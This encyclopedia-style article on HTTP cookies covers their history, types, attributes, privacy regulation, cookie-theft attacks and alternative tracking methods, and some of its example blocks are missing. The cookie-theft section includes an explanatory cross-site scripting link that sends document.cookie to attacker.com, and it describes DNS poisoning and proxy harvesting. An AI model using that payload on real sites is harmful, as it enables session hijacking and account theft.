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A cookie, also known as an HTTP cookie, web cookie, or browser cookie, is a small piece of data sent from a website and stored in a user's web browser while the user is browsing that website. Every time the user loads the website, the browser sends the cookie back to the server to notify the website of the user's previous activity. Cookies were designed to be a reliable mechanism for websites to remember stateful information (such as items in a shopping cart) or to record the user's browsing activity (including clicking particular buttons, logging in, or recording which pages were visited by the user as far back as months or years ago).
Although cookies cannot carry viruses, and cannot install malware on the host computer, tracking cookies and especially third-party tracking cookies are commonly used as ways to compile long-term records of individuals' browsing histories—a potential privacy concern that prompted European and U.S. law makers to take action in 2011. Cookies can also store passwords and form content a user has previously entered, such as a credit card number or an address. When a user accesses a website with a cookie function for the first time, a cookie is sent from server to the browser and stored with the browser in the local computer. Later when that user goes back to the same website, the website will recognize the user because of the stored cookie with the user's information.
Other kinds of cookies perform essential functions in the modern web. Perhaps most importantly, authentication cookies are the most common method used by web servers to know whether the user is logged in or not, and which account they are logged in with. Without such a mechanism, the site would not know whether to send a page containing sensitive information, or require the user to authenticate themselves by logging in. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and on whether the cookie data is encrypted. Security vulnerabilities may allow a cookie's data to be read by a hacker, used to gain access to user data, or used to gain access (with the user's credentials) to the website to which the cookie belongs (see cross-site scripting and cross-site request forgery for examples).
The term "cookie" was derived from "magic cookie", which is the packet of data a program receives and sends again unchanged. Magic cookies were already used in computing when computer programmer Lou Montulli had the idea of using them in web communications in June 1994. At the time, he was an employee of Netscape Communications, which was developing an e-commerce application for MCI. Vint Cerf and John Klensin represented MCI in technical discussions with Netscape Communications. Not wanting the MCI servers to have to retain partial transaction states led to MCI's request to Netscape to find a way to store that state in each user's computer. Cookies provided a solution to the problem of reliably implementing a virtual shopping cart.
The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of the presence of cookies. The general public learned about them after the Financial Times published an article about them on February 12, 1996. In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S. Federal Trade Commission hearings in 1996 and 1997.
The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk mailing list. A special working group within the IETF was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by Brian Behlendorf and David Kristol respectively, but the group, headed by Kristol himself and Aron Afatsuom, soon decided to use the Netscape specification as a starting point. In February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.
At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000.
A definitive specification for cookies as used in the real world was published as RFC 6265 in April 2011.
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A session cookie, also known as an in-memory cookie or transient cookie, exists only in temporary memory while the user navigates the website. When an expiry date or validity interval is not set at cookie creation time, a session cookie is created. Web browsers normally delete session cookies when the user closes the browser.
A persistent cookie outlasts user sessions. If a persistent cookie has its Max-Age set to one year (for example), then, during that year, the initial value set in that cookie would be sent back to the server every time the user visited the server. This could be used to record a vital piece of information such as how the user initially came to this website. For this reason, persistent cookies are also called tracking cookies.
A secure cookie has the secure attribute enabled and is only used via HTTPS, ensuring that the cookie is always encrypted when transmitting from client to server. This makes the cookie less likely to be exposed to cookie theft via eavesdropping. In addition to that, all cookies are subject to browser's same-origin policy.
First-party cookies are cookies that belong to the same domain that is shown in the browser's address bar (or that belong to the sub domain of the domain in the address bar). Third-party cookies are cookies that belong to domains different from the one shown in the address bar. Web pages can feature content from third-party domains (such as banner ads), which opens up the potential for tracking the user's browsing history. Privacy setting options in most modern browsers allow the blocking of third-party tracking cookies.
As an example, suppose a user visits
www.example1.com. This web site contains an advert from
ad.foxytracking.com, which, when downloaded, sets a cookie belonging to the advert's domain (
ad.foxytracking.com). Then, the user visits another website,
www.example2.com, which also contains an advert from
ad.foxytracking.com, and which also sets a cookie belonging to that domain (
ad.foxytracking.com). Eventually, both of these cookies will be sent to the advertiser when loading their ads or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites that have ads from this advertiser.
As of 2014, some websites were setting cookies readable for over 100 third-party domains. On average, a single website was setting 10 cookies, with maximum number of cookies (first- and third-party) reaching over 800.
A "supercookie" is a cookie with an origin of a Top-Level Domain (such as
.com) or a Public Suffix (such as
.co.uk). It is important that supercookies are blocked by browsers, due to the security holes they introduce. If unblocked, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same Top-Level Domain or Public Suffix as the malicious website. For example, a supercookie with an origin of
.com, could maliciously affect a request made to
example.com, even if the cookie did not originate from
example.com. This can be used to fake logins or change user information.
The Public Suffix List is a cross-vendor initiative to provide an accurate list of domain name suffixes changing. Older versions of browsers may not have the most up-to-date list, and will therefore be vulnerable to supercookies from certain domains.
The term "supercookie" is sometimes used for tracking technologies that do not rely on HTTP cookies. Two such "supercookie" mechanisms were found on Microsoft websites: cookie syncing that respawned MUID (Machine Unique IDentifier) cookies, and ETag cookies. Due to media attention, Microsoft later disabled this code:
In response to recent attention on "supercookies" in the media, we wanted to share more detail on the immediate action we took to address this issue, as well as affirm our commitment to the privacy of our customers. According to researchers, including Jonathan Mayer at Stanford University, "supercookies" are capable of re-creating users' cookies or other identifiers after people deleted regular cookies. Mr. Mayer identified Microsoft as one among others that had this code, and when he brought his findings to our attention we promptly investigated. We determined that the cookie behavior he observed was occurring under certain circumstances as a result of older code that was used only on our own sites, and was already scheduled to be discontinued. We accelerated this process and quickly disabled this code. At no time did this functionality cause Microsoft cookie identifiers or data associated with those identifiers to be shared outside of Microsoft.—Mike Hintze
Some cookies are automatically recreated after a user has deleted them; these are called zombie cookies. This is accomplished by a script storing the content of the cookie in some other locations, such as the local storage available to Flash content, HTML5 storages and other client-side mechanisms, and then recreating the cookie from backup stores when the cookie's absence is detected.
The first two components (name and value) are required to be explicitly set.
Cookies may be used to maintain data related to the user during navigation, possibly across multiple visits. Cookies were introduced to provide a way to implement a "shopping cart" (or "shopping basket"), a virtual device into which users can store items they want to purchase as they navigate throughout the site.
Shopping basket applications today usually store the list of basket contents in a database on the server side, rather than storing basket items in the cookie itself. A web server typically sends a cookie containing a unique session identifier. The web browser will send back that session identifier with each subsequent request and shopping basket items are stored associated with a unique session identifier.
Cookies provide a quick and convenient means of client/server interaction. One of the advantages of cookies lies in the fact that they store the user information locally while identifying users simply based on cookie matching. The server's storage and retrieval load is greatly reduced. As a matter of fact, the possibility of applications is endless—any time personal data need to be saved they can be saved as a cookie (Kington, 1997).
Cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future. For example a web server might send a cookie containing the username last used to log into a website so that it may be filled in for future visits.
Tracking cookies may be used to track internet users' web browsing. This can also be done in part by using the IP address of the computer requesting the page or the referrer field of the HTTP request header, but cookies allow for greater precision. This can be demonstrated as follows:
By analyzing the log file collected in the process, it is then possible to find out which pages the user has visited, in what sequence, and for how long.
Cookie specifications suggest that browsers should be able to save and send back a minimal number of cookies. In particular, a web browser is expected to be able to store at least 300 cookies of four kilobytes each, and at least 20 cookies per server or domain.
Transfer of Web pages follows the HyperText Transfer Protocol (HTTP). Regardless of cookies, browsers request a page from web servers by sending them a usually short text called 'HTTP request'. For example, to access the page http://www.example.org/index.html, browsers connect to the server www.example.org sending it a request that looks like the following one:
The server replies by sending the requested page preceded by a similar packet of text, called 'HTTP response'. This packet may contain lines requesting the browser to store cookies:
The server sends lines of
Set-Cookie only if the server wishes the browser to store cookies.
Set-Cookie is a directive for the browser to store the cookie and send it back in future requests to the server (subject to expiration time or other cookie attributes), if the browser supports cookies and cookies are enabled. For example, the browser requests the page http://www.example.org/spec.html by sending the server www.example.org a request like the following:
This is a request for another page from the same server, and differs from the first one above because it contains the string that the server has previously sent to the browser. This way, the server knows that this request is related to the previous one. The server answers by sending the requested page, possibly adding other cookies as well.
The value of a cookie can be modified by the server by sending a new
Set-Cookie: name=newvalue line in response of a page request. The browser then replaces the old value with the new one.
The value of a cookie may consist of any printable ASCII character (
; and excluding whitespace. The name of the cookie also excludes
= as that is the delimiter between the name and value. The cookie standard RFC2965 is more limiting but not implemented by browsers.
The term "cookie crumb" is sometimes used to refer to the name-value pair. This is not the same as breadcrumb web navigation, which is the technique of showing in each page the list of pages the user has previously visited; this technique, however, may be implemented using cookies.
document.cookie is used for this purpose. For example, the instruction
document.cookie = "temperature=20" creates a cookie of name
temperature and value
20. The HttpOnly attribute prevents unauthorized scripts from reading the cookie.
Besides the name–value pair, servers can also set these cookie attributes: a cookie domain, a path, expiration time or maximum age, Secure flag and HttpOnly flag. Browsers will not send cookie attributes back to the server. They will only send the cookie’s name-value pair. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie (name-value pair) to the servers.
The cookie domain and path define the scope of the cookie—they tell the browser that cookies should only be sent back to the server for the given domain and path. If not specified, they default to the domain and path of the object that was requested. However, there is a difference between a cookie set from
foo.com without a domain, and a cookie set with the
foo.com domain. In the former case, the cookie will only be sent for requests to
foo.com. In the latter case, all sub domains are also included. An example of Set-Cookie directives from a website after a user logged in, from a request to
The first cookie
LSID has no domain attribute and Path
/accounts, which tells the browser to use the cookie only when requesting pages contained in
docs.foo.com/accounts, the domain being derived from the request domain. The other two cookies,
SSID, would be sent back by the browser while requesting any subdomain in
.foo.com on any path, for example
www.foo.com/. The prepending dot is optional in recent standards, but can be added for compatibility with RFC 2109 based implementations.
Cookies can only be set on the top domain and its sub domains. Setting cookies on
www.bar.com will not work for security reasons.
The Expires directive tells the browser when to delete the cookie. Derived from the format used in RFC 1123, the date is specified in the form of "Wdy, DD Mon YYYY HH:MM:SS GMT", indicating the exact date/time this cookie will expire. As an alternative to setting cookie expiration as an absolute date/time, RFC 6265 allows the use of the Max-Age attribute to set the cookie’s expiration as an interval of seconds in the future, relative to the time the browser received the cookie. An example of Set-Cookie directives from a website after a user logged in:
The first cookie
lu is set to expire sometime in 15-Jan-2013; it will be used by the client browser until that time. The second cookie
made_write_conn does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie
reg_fb_gate has its value changed to "deleted", with an expiration time in the past. The browser will delete this cookie right away – note that cookie will only be deleted when the domain and path attributes in the
Set-Cookie field match the values used when the cookie was created.
The Secure and HttpOnly attributes do not have associated values. Rather, the presence of the attribute names indicates that the Secure and HttpOnly behaviors are specified.
Most modern browsers support cookies and allow the user to disable them. The following are common options:
Advertising companies use third-party cookies to track a user across multiple sites. In particular, an advertising company can track a user across all pages where it has placed advertising images or web bugs. Knowledge of the pages visited by a user allows the advertising company to target advertisements to the user's presumed preferences.
The possibility of building a profile of users is a privacy threat, especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies.
The United States government has set strict rules on setting cookies in 2000 after it was disclosed that the White House drug policy office used cookies to track computer users viewing its online anti-drug advertising. In 2002, privacy activist Daniel Brandt found that the CIA had been leaving persistent cookies on computers which had visited its website. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them. On December 25, 2005, Brandt discovered that the National Security Agency (NSA) had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the NSA immediately disabled the cookies.
In 2002, the European Union launched the Directive on Privacy and Electronic Communications, a policy requiring end users’ consent for the placement of cookies, and similar technologies for storing and accessing information on users’ equipment. In particular, Article 5 Paragraph 3 mandates that storing data in a user’s computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storing operation.
Directive 95/46/EC defines "the data subject’s consent" as: “any freely given specific and informed indication of his wishes by which the data subject signifies his agreement to personal data relating to him being processed”. Consent must involve some form of communication where individuals knowingly indicate their acceptance.
In 2009, the policy was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage.
In June 2012, European data protection authorities adopted an opinion which clarifies that some cookie users might be exempt from the requirement to gain consent:
The industry’s response has been largely negative. Some viewed the Directive as an infernal doomsday machine that will "kill online sales" and "kill the internet". Robert Bond of the law firm Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for "all UK companies". Simon Davis of Privacy International argues that proper enforcement would "destroy the entire industry".
Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience. Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising.
Listed here are various scenarios of cookie theft and user session hijacking (even without stealing user cookies) which work with websites which rely solely on HTTP cookies for user identification.
Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over unencrypted open Wi-Fi). This traffic includes cookies sent on ordinary unencrypted HTTP sessions. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a man-in-the-middle attack.
An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim’s bank account.
This issue can be resolved by securing the communication between the user's computer and the server by employing Transport Layer Security (HTTPS protocol) to encrypt the connection. A server can specify the Secure flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as an SSL connection.
Via DNS cache poisoning, an attacker might be able to cause a DNS server to cache a fabricated DNS entry, say
f12345.www.example.com with the attacker’s server IP address. The attacker can then post an image URL from his own server (for example,
http://f12345.www.example.com/img_4_cookie.jpg). Victims reading the attacker’s message would download this image from
f12345.www.example.com is a sub-domain of
www.example.com, victims’ browsers would submit all
example.com-related cookies to the attacker’s server; the compromised cookies would also include HttpOnly cookies.[clarification needed]
This vulnerability is usually for Internet Service Providers to fix, by securing their DNS servers. But it can also be mitigated if
www.example.com is using Secure cookies. Victims’ browsers will not submit Secure cookies if the attacker’s image is not using encrypted connections. If the attacker chose to use HTTPS for his img_4_cookie.jpg download, he would have the challenge of obtaining an SSL certificate for
f12345.www.example.com from a Certificate Authority. Without a proper SSL certificate, victims’ browsers would display (usually very visible) warning messages about the invalid certificate, thus alerting victims as well as security officials from
www.example.com (the latter would require someone to inform the security officials).
As an example, an attacker may post a message on
www.example.com with the following link:
<a href="#" onclick="window.location='http://attacker.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>
When another user clicks on this link, the browser executes the piece of code within the
onclick attribute, thus replacing the string
document.cookie with the list of cookies of the user that are active for the page. As a result, this list of cookies is sent to the
attacker.com server. If the attacker’s posting is on
https://www.example.com/somewhere, secure cookies will also be sent to attacker.com in plain text.
Cross-site scripting is a constant threat, as there are always some crackers trying to find a way of slipping in script tags to websites. It is the responsibility of the website developers to filter out such malicious code.
In the meantime, such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client side script, and therefore, the attacker will not be able to gather these cookies.
If an attacker were able to insert a piece of script to a page on
www.example.com, and a victim’s browser were able to execute the script, the script could simply carry out the attack. This attack would use the victim’s browser to send HTTP requests to servers directly; therefore, the victim’s browser would submit all relevant cookies, including HttpOnly cookies, as well as Secure cookies if the script request is on HTTPS.
This type of attack (with automated scripts) would not work if a website had CAPTCHA to challenge client requests.
In older versions of browsers, there were security holes allowing attackers to script a proxy request by using XMLHttpRequest. For example, a victim is reading an attacker’s posting on
www.example.com, and the attacker’s script is executed in the victim’s browser. The script generates a request to
www.example.com with the proxy server
attacker.com. Since the request is for
example.com cookies will be sent along with the request, but routed through the attacker’s proxy server, hence, the attacker can harvest the victim’s cookies.
This attack would not work for Secure cookie, since Secure cookies go with HTTPS connections, and its protocol dictates end-to-end encryption, i.e., the information is encrypted on the user’s browser and decrypted on the destination server
www.example.com, so the proxy servers would only see encrypted bits and bytes.
For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,
If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer (REST) software architectural style.
If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.
Likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser.
The problem with using mobile cookies is that most devices do not implement cookies; for example, Nokia only supports cookies on 60% of its devices, while Motorola only supports cookies on 45% of its phones. In addition, some gateways and networks (Verizon, Alltel, and MetroPCS) strip cookies, while other networks simulate cookies on behalf of their mobile devices. There are also dramatic variations in the wireless markets around the world; for example, in the United Kingdom 94% of the devices support wireless cookies, while in the United States only 47% support them.
The support for cookies is greater in the Far East, where wireless devices are more commonly used to access the web. Mobile cookies is a practice already in place in Japan, so that whether watching a podcast, a video, TV, clicking on a loan calculator or a GPS map—on almost all wireless devices—cookies can be set for tracking and capturing wireless behaviors.
Some of the operations that can be done using cookies can also be done using other mechanisms.
Some users may be tracked based on the IP address of the computer requesting the page. The server knows the IP address of the computer running the browser or the proxy, if any is used, and could theoretically link a user's session to this IP address.
IP addresses are, generally, not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore, some systems, such as Tor, are designed to retain Internet anonymity, rendering tracking by IP address impractical, impossible, or a security risk.
A more precise technique is based on embedding information into URLs. The query string part of the URL is the one that is typically used for this purpose, but other parts can be used as well. The Java Servlet and PHP session mechanisms both use this method if cookies are not enabled.
This method consists of the web server appending query strings to the links of a web page it holds when sending it to a browser. When the user follows a link, the browser returns the attached query string to the server.
Query strings used in this way and cookies are very similar, both being arbitrary pieces of information chosen by the server and sent back by the browser. However, there are some differences: since a query string is part of a URL, if that URL is later reused, the same attached piece of information is sent to the server. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by e-mail, those preferences will be used for that other user as well.
Moreover, even if the same user accesses the same page two times, there is no guarantee that the same query string is used in both views. For example, if the same user arrives to the same page but coming from a page internal to the site the first time and from an external search engine the second time, the relative query strings are typically different while the cookies would be the same. For more details, see query string.
Other drawbacks of query strings are related to security: storing data that identifies a session in a query string enables or simplifies session fixation attacks, referrer logging attacks and other security exploits. Transferring session identifiers as HTTP cookies is more secure.
Another form of session tracking is to use web forms with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks; and if the form is handled with the HTTP GET method, the fields actually become part of the URL the browser will send upon form submission. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be appended as extra input that is neither part of the URL, nor of a cookie.
This approach presents two advantages from the point of view of the tracker: first, having the tracking information placed in the HTML source and POST input rather than in the URL means it will not be noticed by the average user; second, the session information is not copied when the user copies the URL (to save the page on disk or send it via email, for example).
This method can be easily used with any framework that supports web forms.
The downside is that every separate window or tab will initially have an empty window.name; in times of tabbed browsing this means that individually opened tabs (initiation by user) will not have a window name. Furthermore window.name can be used for tracking visitors across different websites, making it of concern for internet privacy.
In some respects this can be more secure than cookies due to not involving the server, so it is not vulnerable to network cookie sniffing attacks. However if special measures are not taken to protect the data, it is vulnerable to other attacks because the data is available across different websites opened in the same window or tab.
The HTTP protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user.
identifier for advertisers or IDFA. Is a unique string of characters assigned to every user buying and using an Apple iOS device. So when ads run on Apple’s advertising network iAd for example, Apple is able to determine who’s receiving the ad, and potentially to connect that back to everything that person did elsewhere in Apple’s system.
Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching headers can also enhance the preservation of ETag data.
ETags may be flushable by clearing the browser cache (implementations vary).
Some web browsers support a script based on a persistence mechanism, which allows the page to store the information locally for later use. With HTML 5 There are two main web storage types: local storage and session storage, behaving similarly to persistent cookies and session cookies respectively. Internet Explorer supports persistent information  in the browser's history, favorites, in an XML store ("user data"), or directly within a Web page saved to disk.
Browser cache can also be used to store information that will be used to track the user. Until the cache is cleared, the stored resources are not reloaded. For example, serve a resource
current.js with a unique content
Browser fingerprint is information collected about a browser's configuration for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.
Basic web browser configuration information has long been collected by web analytics services in an effort to accurately measure real human web traffic and discount various forms of click fraud. With the assistance of client-side scripting languages, collection of much more esoteric parameters is possible. Assimilation of such information into a single string comprises a device fingerprint. In 2010, EFF measured at least 18.1 bits of entropy possible from browser fingerprinting, but that was before the advancements of canvas fingerprinting, which claims to add another 5.7 bits.